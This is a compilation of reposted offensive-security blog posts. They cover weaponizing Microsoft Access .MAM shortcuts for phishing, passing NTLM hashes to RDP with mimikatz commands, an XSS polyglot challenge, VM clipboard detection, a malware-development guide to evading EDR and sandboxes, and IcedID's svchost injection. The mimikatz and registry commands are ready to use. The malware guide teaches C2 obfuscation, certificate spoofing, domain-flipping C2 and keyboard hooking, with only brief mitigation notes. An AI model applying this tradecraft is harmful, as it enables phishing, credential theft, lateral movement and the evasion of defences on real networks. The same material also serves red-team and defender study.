For this exercise, we’ll be creating a simple Microsoft Access Database that pops calc.exe. We could, however, embed anything from a simple macro payload to a full-fledged DOTNET2JSCRIPT payload., I’ll leave proper weaponizationthat to you. First, open MSAccess and create a blank database. You should then have something like this:

Now, navigate to the Create ribbon and select Module. This will open the Microsoft Visual Basic for Applications design editor.

In Microsoft Access, our module will contain our code base while the macro will just tell Access to run the VB code. You’ll see what I mean here shortly.

Ok, we need some code. A simple “pop calc” will do. I’ll leave taking this to a reverse shell up to the reader or refer to my previous blog post.

Notice how I’ve added the Function call to this code. When we create our macro, it will look for a function call instead of a sub.

Now, save the module and exit the code editor.

With our module saved, we can create our macro to call the module. Open the Create ribbon and select Macro. Use the drop down box to select “Run Code” and point to your macro function.

Next, you should test your macro by clicking the Run menu option and Access will prompt you to save your macro. Be sure to save your macro as Autoexec if you want it to run automatically upon document open.

With our database complete, we can save the project. You’ll want to save in .accdb format first so you can modify your project later.

Then, we’ll save our project again. This time, select the Make ACCDE option. This will create an “execute only” version of our database.

We could attach the ACCDE to an email or link to it if we want as our payload option when phishing. However, there’s more to this than sending the file. We can create our MAM shortcut that will link remotely to our ACCDE file and run the contents over the internet.

Make sure you have your ACCDE file open, left-click and drag the macro to your desktop. This will create your initial .MAM file that you can modify. Open it with your favorite editor or notepad to see what we can modify.

As you can see, there’s not to much to the shortcut itself. We are mainly concerned with changing the DatabasePath variable as we will be hosting the execute only database remotely. With this variable, we have several options. We could host the ACCDE file over SMB or web. Hosting over SMB could serve dual purpose as we could capture credentials as well as long as port 445 is allowed out of your target network. In this blog post, I’ll be demonstrating how to do this over http. Lets host our ACCDE file remotely and modify our .MAM file.

The Phish

On a remote host, serve up the ACCDE file using your preferred web hosting method.

Edit the .MAM file to point to your ACCDE hosted on your web server.

Now we are tasked with delivering our MAM payload to our target. Some providers block MAM files and Outlook does by default so, in this scenario we will send a phishing link to our target and will simply host our MAM file on our web server or you could do some funky redirects with Apache mod_rewrite as detailed here by @bluscreenofjeff.

Once our user clicks our phishing link (using Edge Browser in this case) they are prompted to open or save the file.

Next they are prompted to open the file again with a security warning.

Finally, the target user is prompted with the last security warning and your remote hosted IP address or domain name (hopefully convincing) is displayed to the user. The key point to note here is after this there is no macro or protected view warning displayed or blocking this macro payload from running.

Once the user clicks Open, our code should run.

While there are several security prompts, we’re a little pretext and one unsuspecting user away from entering our target network.

OPSEC

This payload is nice for the fact that it’s a simple shortcut file and our payload can be invoked remotely. But, what artifacts are left after execution? Let’s check out the process and file system activity with procmon.

The first interesting entry is a “CreateFile” call that executes the command line seen in the picture above. Something for command line auditing to look for would be the “ShellOpenMacro” string.

Next, we observe the remote ACCDE file being saved and executed from our local machine. While it seems as though our payload is invoked remotely, it’s downloaded to “%APPDATA%\Local\Microsoft\Windows\INetCache\Content.MSO\95E62AFE.accde\PopCalc.accde”. For an offensive engagement, this file should be noted for cleanup.

0

Mitigation

In Microsoft Office 2016, you can enable the GPO to block macro execution from the internet or set the following registry key for each office product.

Computer\HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Access\Security\blockcontentexecutionfrominternet = 1

If a user is phished with this setting in place, they’ll be denied from executing the program. It should be noted that even though the macro is blocked, the MAM file still reaches out to pull down the Access file. So, there’s still an opportunity to know if your phish was received and executed or steal credentials via smb.

Conclusion

In this blog post I have walked you through the necessary steps to weaponize a Microsoft Access Macro shortcut to invoke a payload over HTTP. While this file type is commonly blocked by Microsoft Outlook, it is allowed in Gmail and may also be served via HTTP or SMB. I also showed you where to find artifacts and enable blocking of macros to prevent this type of attack.

It’s increasingly more important for defenders to be familiar with various phishing payloads and the artifacts they leave behind. I hope this post helps bring awareness about this specific attack vector and the Indicators of Compromise (IOC’s) associated with it.

Passing the hash with native RDP client (mstsc.exe)

( Original text by michael-eder )

TL;DR: If the remote server allows Restricted Admin login, it is possible to login via RDP by passing the hash using the native Windows RDP client mstsc.exe. (You’ll need mimikatz or something else to inject the hash into the process)

On engagements it is usually only a matter of time to get your hands on NTLM hashes. These can usually be directly used to authenticate against other services / machines and enable lateral movement. Powershell / PSExec, SMB and WMI are usual targets to pass the hash to, but it is also possible to use it to establish a RDP session on a remote host. Searching the Internet on how to do this unfortunately always leads to using xfreerdp, but I wasn’t able to find anything on the Internet regarding how to do this directly using the provided RDP client mstsc.exe, so I had to find out on my own.

How does it work?

Interestingly, it was quite easy to find out, so here is how to do it with mimikatz (you’ll need local admin):

sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"

This will open a new RDP window. If it still shows the user you are currently logged on with, just ignore it — everything will just work 😉

Enter the domain name / IP of the target server and if the target server allows Restricted Admin Mode, you will be logged in, otherwise the server will tell you that you are not allowed to log in.

Why does it work?

RDP Restricted Admin Mode builds upon Kerberos. Taking a look at the network traffic, one can see that the RDP client requests a ticket on behalf of the impersonated user which is no problem since the hash is all we need to authenticate against Kerberos.

Restricted Admin Mode is disabled, what can I do?

registry key controls if a server accepts Restricted Admin sessions. If you have the NTLM hash of a user that has privileges to set registry keys, you can use for example Powershell to enable it and log in via RDP afterwards:

mimikatz.exe "sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:powershell.exe"

A new Powershell window will pop up:

Enter-PSSession -Computer <Target>
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force

Now, your RDP should work fine.

 

XSS Polyglot Challenge v2

( Original text by @filedescriptor )

alert() in more than one context.


What is a XSS Polyglot?

A XSS payload which runs in multiple contexts. For example, '--><svg onload=alert()> can pop alerts in <div class=''--><svg onload=alert()>'></div> and <!--'--><svg onload=alert()>-->. It is useful in testing XSS because it minimizes manual efforts and increases the success rate of blind XSS.

Rules
  • You will be given 20 common contexts in black-box
  • No DOM sinks or external libraries are involved
  • Plain HTML injection with minimum filtering
  • A headless Chrome will try your payload
  • Your payload should run alert() in 2+ contexts
  • Payloads exceeding 1024 characters will always fail
  • Network is disabled
Contexts
<div class="{{payload}}"></div>
<div class='{{payload}}'></div>
<title>{{payload}}</title>
<textarea>{{payload}}</textarea>
<style>{{payload}}</style>
<noscript>{{payload}}</noscript>
<noembed>{{payload}}</noembed>
<template>{{payload}}</template>
<frameset>{{payload}}</frameset>
<select><option>{{payload}}</option></select>
<script type="text/template">{{payload}}</script>
<!--{{payload}}-->
<iframe src="{{payload}}"></iframe> " → 
<iframe srcdoc="{{payload}}"></iframe> " →  < → 
<script>"{{payload}}"</script> </script → <\/script
<script>'{{payload}}'</script> </script → <\/script
<script>`{{payload}}`</script> </script → <\/script
<script>//{{payload}}</script> </script → <\/script
<script>/*{{payload}}*/</script> </script → <\/script
<script>"{{payload}}"</script> </script → <\/script " → \"

more examples by link

An anti-sandbox/anti-reversing trick using the GetClipboardOwner API

( Original text by Hexacorn )

This is a little nifty trick for detecting virtualization environments. At least, some of them.

Anytime you restore the snapshot of your virtual machine your guest OS environment will usually run some initialization tasks first. If we talk about VMWare these tasks will be ran by the vmtoolsd.exe process (of course, assuming you have the VMware Tools installed).

Some of the tasks this process performs include clipboard initialization, often placing whatever is in the clipboard on the host inside the clipboard belonging to the guest OS. And this activity is a bad ‘opsec’ of the guest software.

By checking what process recently modified the clipboard we have a good chance of determining that the program is running inside the virtual machine. All you have to do is to call GetClipboardOwner API to determine the window that is the owner of the clipboard at the time of calling, and from there, the process name via e.g. GetWindowThreadProcessId. Yup, it’s that simple. While it may not work all the time, it is just yet another way of testing the environment.

If you want to check how and if it works on your VM snapshots you can use this little program: ClipboardOwnerDebug.exe

This is what I see on my win7 vm snapshot after I revert to its last state and run the ClipboardOwnerDebug.exe program:

Notably, I didn’t drag&drop/copy paste the ClipboardOwnerDebug.exe file to VM, I actually copied it via a network share to ensure my clipboard doesn’t change during this test; and, even if I did just CTRL+C (copy) the file on the host and CTRL+V (paste) it on the guest the result would be very similar anyway. The vmtoolsd.exe process just gets involved all the time.

The malware doesn’t need to rely on the first call to the GetClipboardOwner API. It could stall for a bit observing changes to the clipboard owner windows and testing if at any point there is a reference to a well-known virtualization process. Anytime the context of copying to clipboard changes between the host and the guest OS (very often when you do manual reversing), the clipboard window ownership will change, even if just temporarily.

The below is an example of the clipboard ownership changing during a simple VM session where things are copied to clipboard a few time, both on the host and on the guest and the context of the the clipboard changes. The context switch means that when the guest gets the mouse/keyboard focus, the changes to host clipboard are immediately reflected by the appearance of the vmtoolsd.exe process on the list:

https://github.com/DissectMalware/ClipboardWatcher

Malware on Steroids Part 3: Machine Learning & Sandbox Evasion

 

( Original text by Paranoid Ninja )

It’s been a busy month for me and I was not able to save time to write the final part of the series on Malware Development. But I am receiving too many DMs on Twitter accounts lately to publish the final part. So here we are.

If you are reading this blog, I am basically assuming that you know C/C++ and Windows API by now. If you don’t, then you should go back and read my other blogs on Static AV Evasion and Malware Development using WINAPI (basics).

In this post, we will be using multiple ways to evade endpoint detection mechanisms and sandboxes. Machine Learning is applied at two major levels in most organization. One is at the network level where it tries to identify anomalies based on the behavior of network connections, proxy logs and pattern of connections over time. Most Network ML Solutions tend to analyze beacons of malwares and DPI (deep packet inspection) to identify the malware. This is something that Microsoft ATA (Advanced Threat Analytics), or FireEye sandboxes do. On the other hand, we have Endpoint agents like Symantec EP, Crowdstrike, Endgame, Microsoft Cloud Defender and similar monitoring tools which perform behavioral analysis of the code along with signature detection to detect malicious processes.

I will purely be focusing on multiple ways where we can make our malware behave like a legitimate executable or try to confuse the Endpoint agent to evade detection. I’ve used the methods mentioned in this blog to successfully evade Crowdstrike Agent, Symantec EP and Microsoft Windows Cloud Defender, the videos of the latter which I have already posted in my previous blogs. However, you might need to modify or add new techniques as this might become detectable over time. One of the best ways to avoid AV is to disable the Process creation altogether and just use WINAPI. But that would mean carefully crafting your payloads and it would be difficult to port them for shellcoding. That’s the main reason malware authors write their malwares in C, and only selected payloads in shellcode. A combination of these two makes malwares unbeatable on all fronts.

Each of the techniques mentioned below creates a unique signature which most AVs won’t have. It’s more of a trail and error to check which AVs detect which techniques. Also remember that we can use stubs and packers for encryption, but that’s for a different blog post that I will do later.

P.S.: This blog is exclusive of shellcodes, reason being I will be writing a separate blog series on windows Shellcoding later. I will be using encrypted functions during the shellcoding part and not in this post. This post is specifically how Malware authors use C to perform evasions. You can also use the same APIs and code snippets mentioned below to craft a custom malware for Red Teaming.

main():

So, before we start let’s try to get a based understanding of how Machine learning works. Machine learning is purely focused on the behaviour of the user (in case of endpoints). In short, if we sign our malware and try to make it act like a legitimate executable, it becomes really easy to evade ML. I’ve seen people using PowerShell to write reverse shells, but they get easy detectable due to Microsoft’s AMSI (Anti-Malware Scan Interface) which consistently keeps on checking (including and mainly PowerShell) to detect malicious process executions and connections.  For those of you who don’t know, Microsoft uses DMTK(Microsoft Distributed Machine Learning Toolkit) framework which is basically a decision tree based algorithm which specifies whether a file is malicious or not. PowerShell is very tightly controlled by Microsoft and it gets harder over time to evade ML when using PowerShell.

This is the reason I decided to switch to C and C++ to get reverse shells over network so that I could have flexibility at a lower level to do whatever I want. We will be using a lot of windows APIs, encrypted variables and a lot of decision tree of our own to evade ML. This it supposed to work till Microsoft doesn’t start using CNTK framework which is a much better framework than DMTK, but harder to apply at the same time.

Encrypted Host & Process Names

So, the first thing to do is to encrypt our hostname. We can possibly use something as simple as XOR, or any custom complicated mathematical equation to decrypt our encrypted variable to get the hostname. I created a python script which takes a hostname and a character and returns a Xor’d Array:

As you can see, it gives the Key value in integer of the Xor Key, the length of the encrypted array and the whole Encrypted array which we can simply use in a C integer or char array.

The next step is to decrypt this array at runtime and we need to hardcode the key inside the executable. This is the only key that we would be hardcoding into the code. Also, to make it complicated for the reverse engineer, we will write a C function to automatically detect that the last integer is the key and use that to loop through the array to decrypt the encrypted string. Below is how it would look like

So, we are creating a char buffer of the size of EncryptedHost on heap. We are then passing the host, length and decrypted host variable to the Decrypter function. Below is how the Decrypter function looks:

To explain in short, it creates an Encrypted Integer array of our char array  and xors them back again using the key to convert the encrypted value to the original value and stores them in the DecryptedData array we created previously. With the help of this, if someone runs strings, they wouldn’t be able to see any host in the executable. They would need to understand the math and set a proper breakpoint in Debugger to fetch the C2 host. You can create more complicated mathematical equations to decrypt host if required. We can now use this DecryptedData array within our sockets to connect to the remote host.

P.S.: Reverse Engineers & Sandboxes can fetch the C2 names with the help of packet captures and DNS Name Resolutions. It is better to send raw packets to multiple hosts to confuse which one is the real C2 server. But at the same time, this can lead to easy  detection of the malware. Check my Legitimate Domain Routing technique below which is much better than using this.

If you’ve read my previous post, then you know that I created a cmd.exe process using the CreateProcessW winAPI. We can do what we did above for Creating Processes as well. But instead of hardcoding the Encrypted array for the Process to be executed, we will send the process name as an array over network once the executable connects to the C2 Server along with the host. We can also use authentication on C2 server, and only allow it to connect if it sends a proper key. Below is the Code for Creating Processes using Encrypted Char array over sockets

In this way, when a system sandboxes our executable, it won’t know that what process are we executing beforehand inside a sandbox. Below is a much clearer description of what we are doing:

  1. Decrypt C2 host at runtime and connect to host
  2. Receive password and verify if it is right
  3. If the key is right, wait for 5 seconds to receive encrypted array(process name) over socket
  4. Decrypt the received Process and run it using CreateProcessW API

With the help of the above technique, if our C2 is down, then the sandbox/analyst will not be able to find what we are executing since we have not hardcoded any processes to execute.

Code Signing with Spoofed Certs

I wrote a Script in python which can fetch and create duplicate certificates from any website which we can use for code signing. One thing I noticed is that Antiviruses don’t check and verify the whole chain of the certificate. They don’t even verify the authenticity. The main reason being not every antivirus can connect to internet in every organization to fetch and verify the ceritificates for every third party application installed. You can find the Certificate spoofing python script on my GitHub profile here.

And this is the scan results of Windows ML Defender after Signing:

Next thing is we will try to add a few features to our malware to detect if we are running in a sandbox or inside a virtual machine. We will try to evade Sandboxes as much as possible and kill our executable as soon as we find anything suspicious. We need to make sure that our malware doesn’t even look suspicious. Because if it does, then the sandbox will quarantine it and send an alert that there is a suspicious process running. This is worse than detection because this is where most SOC detects the malware and the Red Teaming gets detected.

Legitimate Domain Routing (Evade Proxy Categorization Detection and Endpoint Detection)

This is one of the best techniques I’ve found out till date which almost works every time. Let’s say I buy a C2 domain named abc.com. I will modify the A records so that it points to Microsoft.com or some similar legitimate site for a month or so. When the malware executes on the vicim’s system, it will connect to this domain which will send a normal HTTP reply from Microsoft and the malware will go to sleep for a few hours and then loop into doing the same thing. Now whenever I want to get a reverse shell of my malware, I will simply change the A records of abc.com to my C2 hosting server and it will send a key in HTTP to the malware which will trigger it to fetch shellcode or send a shell back to my C2. This way, our abc.com will also get categorized as a legitimate domain instead of malicious or phishing site. And even the Endpoint systems will not block it since it is contacting a legitimate domain. Over time I’ve also used Symantec’s website to connect as a temporary domain, later changing it to my malicious C2 server.

Check System Uptime & Idletime (Evades Virtual Machine Sandboxes)

If our executable is running in a virtual machine, the uptime will be pretty short since it will boot up, perform analysis on our binary and then shutdown. So, we can check the uptime of the machine and sleep till it reaches 20-30 minutes and then run it. Make sure to use NTP to check the time with external domain, else Sandboxes can fast-forward system time for process executions. Checking via NTP will make sure that correct time is checked. Below is the code to check uptime of a system and also idle time in case required.

Idletime:

Uptime:

Check Mac Address of Virtual Machine (Known OUIs)

Vmware, Virtual box, MS Hyper-v and a lot of virtual machine providers use a fixed MAC Unique identifier which can be used to run in a loop to check if current mac address matches to any of those mentioned in the list. If it is, then it is highly possible that the malware is running in a virtual environment, mostly for the purpose of sandboxing and reverse engineering. Below are the OUIs that I know for the moment. If there are more, do let me know in the comments.

Company and Products MAC unique identifier (s)
VMware ESX 3, Server, Workstation, Player 00-50-56, 00-0C-29, 00-05-69
Microsoft Hyper-V, Virtual Server, Virtual PC 00-03-FF
Parallels Desktop, Workstation, Server, Virtuozzo 00-1C-42
Virtual Iron 4 00-0F-4B
Red Hat Xen 00-16-3E
Oracle VM 00-16-3E
XenSource 00-16-3E
Novell Xen 00-16-3E
Sun xVM VirtualBox 08-00-27

Below is the C code to detect mac address of a Windows machine:

Execute shellcode when a specific key is pressed. (Sleep & hook method)

Here, we are only executing our shellcode/malicious process when the user presses a specific key. For this, we can hook the keyboard and create a list of multiple keys that specify what kind of shellcode needs to be executed. This is basically polymorphism. Every time a different shellcode depending on the key will confuse the Antivirus, and secondly in a sandbox, no one presses any key. So, our malware won’t execute in a sandbox. Below is the Code to hook the keyboard and check the key pressed.

P.S.: Below code can also be used for Keylogging 😉

Check number of files in Temp and Recent Files

Whenever a malware is running in a sandbox, the sandbox will have the minimum number of recent files in the virtual machine reason being sandboxes are not used for usual work. So, we can run a loop to check the number of recent files and also files in temp directory to check if we are running in a virtual machine. If the number of recent files are less than 10-15, just sleep or suspend itself. Below is a code I wrote which loops to check all files and folders in a directory:

Now I can keep on going like this, but the blog will just get lengthier with this. Besides, below are a few things you can code to check if we are running in a sandbox:

  1. Check if the hard disk size is greater than 60 GB (Default Virtual Machine Sandbox Size is <100GB)
  2. Check if Packet Capture Driver is installed in the registry (To check if Wireshark or similar is running for packet analysis)
  3. Check if Virtual Box additions/extension pack is installed
  4. WannaCry DNS Sinkhole Method

This is another method which WannaCry used. So basically, the malware will try to connect to a domain that doesn’t exist. If it does, it means the malware is running in a sandbox, since Sandboxes will reply to a NX Domain too to check if that’s a C2 Server. If we get a NX domain in reply, then we can directly connect to the C2 host. BEWARE, that DNS Sinkholes can prevent your malware from executing at all. Instead you can buy a certain domain and check for a customized response to check if you are running in a sandbox environment.

Now, there are much more different ways to evade ML and AV detection and they aren’t really that hard. Evading ML based AVs are not rocket science as people say. It’s just that it requires more of free time to sit and understand how the underlying architecture works and find flaws to evade it.

It’s much better to invest in a highly technical Threat Hunter for detecting suspicious behaviors in your environment’s and logs rather than buying a high-end Sandbox or Antivirus Solution, though the latter is also useful in it’s own sense too.

 

Interesting technique to inject malicious code into svchost.exe

Once launched, IcedID takes advantage of an interesting technique to inject malicious code into svchost.exe — it does not require starting the target process in a suspended state, and is achieved by only using the following functions:

  • kernel32!CreateProcessA
  • ntdll!ZwAllocateVirtualMemory
  • ntdll!ZwProtectVirtualMemory
  • ntdll!ZwWriteVirtualMemory

IcedID’s code injection into svchost.exe works as follows:

  1. In the memory space of the IcedID process, the function ntdll!ZwCreateUserProcess is hooked.
  2. The function kernel32!CreateProcessA is called to launch svchost.exe and the CREATE_SUSPENDED flag is not set.
  3. The hook onntdll!ZwCreateUserProcess is hit as a result of calling kernel32!CreateProcessA. The hook is then removed, and the actual function call to ntdll!ZwCreateUserProcess is made.
  1. At this point, the malicious process is still in the hook, the svchost.exe process has been loaded into memory by the operating system, but the main thread of svchost.exe has not yet started.
  1. The call to ntdll!ZwCreateUserProcess returns the process handle for svchost.exe. Using the process handle, the functions ntdll!NtAllocateVirtualMemory and ntdll!ZwWriteVirtualMemory can be used to write malicious code to the svchost.exe memory space.
  2. In the svchost.exe memory space, the call to ntdll!RtlExitUserProcess is hooked to jump to the malicious code already written
  3. The malicious function returns, which continues the code initiated by the call tokernel32!CreateProcessA, and the main thread of svchost.exe will be scheduled to run by the operating system.
  4. The malicious process ends.

Since svchost.exe has been called with no arguments, it would normally immediately shut down because there is no service to launch. However, as part of its shutdown, it will call ntdll!RtlExitUserProcess, which hits the malicious hook, and the malicious code will take over at this point.